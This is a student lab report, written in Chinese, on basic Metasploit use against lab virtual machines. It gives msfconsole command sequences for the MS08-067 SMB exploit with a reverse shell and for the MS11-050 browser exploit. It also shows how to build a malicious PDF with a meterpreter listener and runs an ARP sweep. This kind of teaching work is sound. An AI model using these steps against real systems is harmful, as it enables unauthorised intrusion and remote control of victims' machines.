《网络对抗》Exp5 MSF基础应用

Posted hxl681207

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了《网络对抗》Exp5 MSF基础应用相关的知识,希望对你有一定的参考价值。

20155336《网络对抗》Exp5 MSF基础应用

一、基础知识回答

  • 用自己的话解释什么是exploit,payload,encode
    • exploit:漏洞利用,与靶机进行交互,攻击靶机的最后一步
    • payload:有效载荷,后面一般加要对靶机进行攻击的代码,可以实现任何运行在受害者环境中的程序所能做的事情
    • encode:编码器,对代码进行异或运算、去除坏字符等等,保护payload不被发现

二、实践过程

  • 1.Windows服务渗透攻击——MS08-067安全漏洞
    • ①攻击机:kali ②靶机:windows XP SP3(English)

在kali中输入msfconsole,然后依次输入一下命令:

  • msf > use exploit/windows/smb/ms08_067_netapi
  • msf exploit(ms08_067_netapi) > show payloads
  • msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回连
  • msf exploit(ms08_067_netapi) > set LHOST 172.30.4.231//攻击机ip
  • msf exploit(ms08_067_netapi) > set LPORT 5336 //攻击端口
  • msf exploit(ms08_067_netapi) > set RHOST 192.168.198.136//靶机ip,特定漏洞端口已经固定
  • msf exploit(ms08_067_netapi) >set target 0//自动选择目标系统类型,匹配度较高
  • msf exploit(ms08_067_netapi) > exploit //攻击

技术分享图片

攻击成功结果如下:

技术分享图片

  • 2.浏览器渗透攻击——MS11-050
    • ①攻击机:kali ②靶机:WindowsXP Professional sp2/Windows7专业版 ③IE版本:7.0/8.0
  • 在kali中输入msfconsole进入控制台,依次输入以下指令:
    • msf > use windows/browser/ms11_050_mshtml_cobjectelement
    • msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_http //http反向回连
    • msf exploit(ms11_050_cobjectelement) > set LHOST 172.30.4.231 //攻击机ip
    • msf exploit(ms11_050_cobjectelement) > set LPORT 5336 //攻击端口固定
    • msf exploit(ms11_050_cobjectelement) > set URIPATH 20155336hgy //统一资源标识符路径设置
    • msf exploit(ms11_050_cobjectelement) > exploit

技术分享图片

在浏览器输入http://172.30.4.231:8080/20155336hgy
,IE出现弹窗,警告遇到问题需关闭程序:

技术分享图片

攻击机想要建立会话,但是靶机已经禁止了这个网页的访问,失败了。IE的浏览器弹窗阻止了~~但是我已经关掉了防火墙,可还是错误。查看了kali的链接情况,总是没有得到响应

技术分享图片

总之一输入网址,IE就会直接卡死然后报错。参考了狄维佳同学的补救措施,还是无能为力。。万般无奈之下,只能先告一段落惹~~

  • 3.针对Office软件的渗透攻击——MS10-087 如出一辙的操作!!
    • ①攻击机:kali ②靶机:windowsXP Professional sp2 ③Office版本:2003
    • kali输入msfconsole进入控制台
    • msf > use windows/fileformat/adobe_cooltype_sing
    • msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp //tcp反向回连
    • msf exploit(adobe_cooltype_sing) > set LHOST 172.30.5.99 //攻击机ip
    • msf exploit(adobe_cooltype_sing) > set LPORT 5336 //攻击端口
    • msf exploit(adobe_cooltype_sing) > set FILENAME 20155336.pdf//设置生成pdf文件的名字
    • msf exploit(adobe_cooltype_sing) > exploit //攻击

技术分享图片

生成的pdf如下图所示:

技术分享图片

将生成的pdf文件拷贝到靶机上。

在kali上输入back退出当前模块,进入监听模块,输入以下命令:

  • msf > use exploit/multi/handler //进入监听模块
  • msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接
  • msf exploit(handler) > set LHOST 192.168.5.99 //攻击机ip
  • msf exploit(handler) > set LPORT 5336
  • exploit

技术分享图片

在靶机上打开201553336.pdf文件:(有一点点的卡顿~~~)
技术分享图片

攻击成功:

技术分享图片

  • 4.辅助模块的应用:arp_sweep
    • ①攻击机:kali ②靶机:windowsXP Professional sp2
    • show auxiliary //查看所有的辅助模块以及用途
    • use auxiliary/scanner/discovery/arp_sweep 进入arp_sweep 模块
    • show options ---查询模块参数
    • set RHOSTS 172.30.5.99hosts主机段设置
    • set THREADS 50加快扫描速度
    • run执行

    技术分享图片

    技术分享图片

    • 通过图可以看出,使用ARP请求枚举本地局域网络中的所有活跃主机进行扫描。进入模块后查询一下参数。因为只开启了一个XP虚拟机,所以只扫描到了一个活跃机


以上是关于《网络对抗》Exp5 MSF基础应用的主要内容,如果未能解决你的问题,请参考以下文章

2017-2018-2 20155310『网络对抗技术』Exp5:MSF基础应用

20155333 《网络对抗》 Exp5 MSF基础应用

20155232《网络对抗》Exp5 MSF基础应用

# 2017-2018-2 20155319『网络对抗技术』Exp5:MSF基础应用

2018-2019-2 20165209 《网络对抗技术》Exp5:MSF基础应用

20145235李涛《网络对抗》Exp5 MSF基础应用